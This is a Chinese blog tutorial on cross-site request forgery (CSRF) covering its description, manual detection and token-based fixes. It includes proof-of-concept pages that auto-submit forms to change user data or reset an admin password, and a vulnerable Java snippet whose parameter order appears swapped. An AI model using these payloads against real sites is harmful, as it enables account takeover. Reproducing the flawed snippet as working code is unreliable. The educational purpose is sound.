web安全/渗透测试--17--跨站请求伪造(CSRF)

版权声明:本文为博主原创文章,转载本站文章请注明作者和出处,请勿用于任何商业用途。 https://blog.csdn.net/wutianxu123/article/details/82635021

4.3.1 跨站伪造请求(CSRF)

1、漏洞描述

跨站请求伪造攻击,Cross-Site Request Forgery(CSRF),攻击者在用户浏览网页时,利用页面元素(例如img的src),强迫受害者的浏览器向Web应用服务器发送一个改变用户信息的HTTP请求(恶意用户没有操作权限,于是构造操作链接让有权限的用户去执行,以此实现期望操作)。

CSRF攻击可以从站外和站内发起。

从站内发起CSRF攻击,需要利用网站本身的业务,比如“自定义头像”功能,恶意用户指定自己的头像URL是一个修改用户信息的链接,当其他已登录用户浏览恶意用户头像时,会自动向这个链接发送修改信息请求。

从站外发送请求,则需要恶意用户在自己的服务器上,放一个自动提交修改个人信息的htm页面,并把页面地址发给受害者用户,受害者用户打开时,会发起一个请求。

威胁描述:攻击者使用CSRF攻击能够强迫用户向服务器发送请求,导致用户信息被迫修改,甚至可引发蠕虫攻击。如果恶意用户能够知道网站管理后台某项功能的URL,就可以直接攻击管理员,强迫管理员执行恶意用户定义的操作。

2、检测方法

检测方式多种多样:工具常常会扫描得到CSRF的漏洞,但是一般常常为误报,重点还是依靠手工来进行检测,以下来举例说明其中一种检测以及攻击方案:

1、设置页面test.htm中,页面中有一个表单,和一段脚本,脚本的作用是,当页面加载时,浏览器会自动提交请求。页面代码如下:

<form id="modify" action="http://www.test.com/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>

<script>
    document.getElementById("modify").submit();
</script>

2、诱使用户在登录目标系统后执行URL链接http://xx.x.xx.xxx/test.htm

3、用户打开test.htm后,会自动提交表单,发送给www.test.com下的那个存在CSRF漏洞的web应用,用户信息被篡改

4、在整个攻击过程中,受害者用户仅仅看到了一个空白页面(可以伪造成其他无关页面),并且一直不知道自己的信息已经被修改了

灰盒测试:审查应用程序,如果会话管理仅依赖客户端的值(浏览器可获取的信息),那么应用程序存在漏洞。

3、修复方案

推荐使用添加表单token的方式进行CSRF防护:

1、通过referer判断页面来源进行CSRF防护,该方式无法防止站内CSRF攻击及referer字段伪造。重要功能点使用动态验证码进行CSRF防护。

2、通过token方式进行CSRF防护:

A.在Session中绑定token。
如果不能保存到服务器端Session中,则可以替代为保存到Cookie里。

B.在服务器下发的表单(form表单)中自动填入token字段,
比如 <input type=hidden name="anti_csrf_token" value="$token" />。

C.在HTTP请求中自动添加token。
在服务器端对比POST提交参数的token与Session中绑定的token是否一致(两者一致时才接受该POST请求),以验证CSRF攻击。

3、为每个用户会话(session)的每次POST请求创建唯一的随机字符串(token),并在受理请求时验证:

<form action="/transfer.do" method="post">
    <input type="hidden" name="randomStr" value=<%=request.getSession().getAttribute("randomStr")%>>
     ......
</form>

//判断客户端提交的随机字符串是否正确
String randomStr = (String)request.getParameter("randomStr");
if(randomStr == null) randomStr="";
if(randomStr.equals(request.getSession().getAttribute("randomStr"))) {
    //处理请求
} else {
    //跨站请求攻击,注销会话
}

4、CSRF后篇

CSRF攻击过程:存在CSRF漏洞网站(A)、攻击者(B)、受害者(用户)

1-用户浏览并登录信任网站A
2-通过信任网站A的验证,在用户本地生成关于网站A的cookie
3-用户在没有登出A网站的情况下,访问危险网站B
4-B要求访问第三方网站A,于是从B发出了一个请求(request)
5-根据B在第四步发出的请求,浏览器带着第二步产生的cookie访问网站A
6-网站A不知道第五步的请求是用户发出的还是网站B发出的,由于浏览器会地洞带入用户的cookie,
所以网站A会根据用户的权限处理第五步中的请求,如此,网站B就达到了模拟用户操作的目的

-----------------------------------------------------------------------------

A站点存在缺陷的代码:

String user = request.getParameter(“user”);
String pass = request.getParameter(“pass”);
PreparedStatement ps = con.prepareStatement(“update UserTB set password=?  Where user=?”);
ps.setString(1,user);
ps.setString(2,pass);
con.executeUpdate();

恶意站点B上的代码:

GET方式 POC:
<img src=http://siteA/updateuser.jsp?user=admin&pass=123456>
POST方式POC:
<form action=http://siteA/updateuser.jsp method=POST>
    <input type="text" name="user" value="admin" />
    <input type="text" name="pass" value="123456" />
</form>
<script> document.forms[0].submit(); </script>

猜你喜欢

转载自blog.csdn.net/wutianxu123/article/details/82635021